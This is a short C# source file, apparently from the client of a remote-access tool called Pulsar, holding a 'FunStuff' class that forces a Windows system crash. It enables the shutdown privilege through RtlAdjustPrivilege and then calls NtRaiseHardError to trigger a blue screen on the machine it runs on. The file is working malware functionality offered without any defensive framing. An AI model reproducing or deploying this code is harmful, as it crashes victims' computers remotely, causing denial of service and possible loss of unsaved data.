26 lines
838 B
C#
26 lines
838 B
C#
using System;
|
|
using System.Collections.Generic;
|
|
using System.Linq;
|
|
using System.Runtime.InteropServices;
|
|
using System.Text;
|
|
using System.Threading.Tasks;
|
|
|
|
namespace Pulsar.Client.FunStuff
|
|
{
|
|
public class BSOD
|
|
{
|
|
[DllImport("ntdll.dll")]
|
|
private static extern uint RtlAdjustPrivilege(int Privilege, bool Enable, bool CurrentThread, out bool Enabled);
|
|
[DllImport("ntdll.dll")]
|
|
private static extern uint NtRaiseHardError(uint ErrorStatus, uint NumberOfParameters, uint UnicodeStringParameterMask, IntPtr Parameters, uint ValidResponseOption, out uint Response);
|
|
|
|
public unsafe void DOBSOD()
|
|
{
|
|
bool t1;
|
|
RtlAdjustPrivilege(19, true, false, out t1);
|
|
uint resp;
|
|
NtRaiseHardError(0xc0000022, 0, 0, IntPtr.Zero, 6, out resp);
|
|
}
|
|
}
|
|
}
|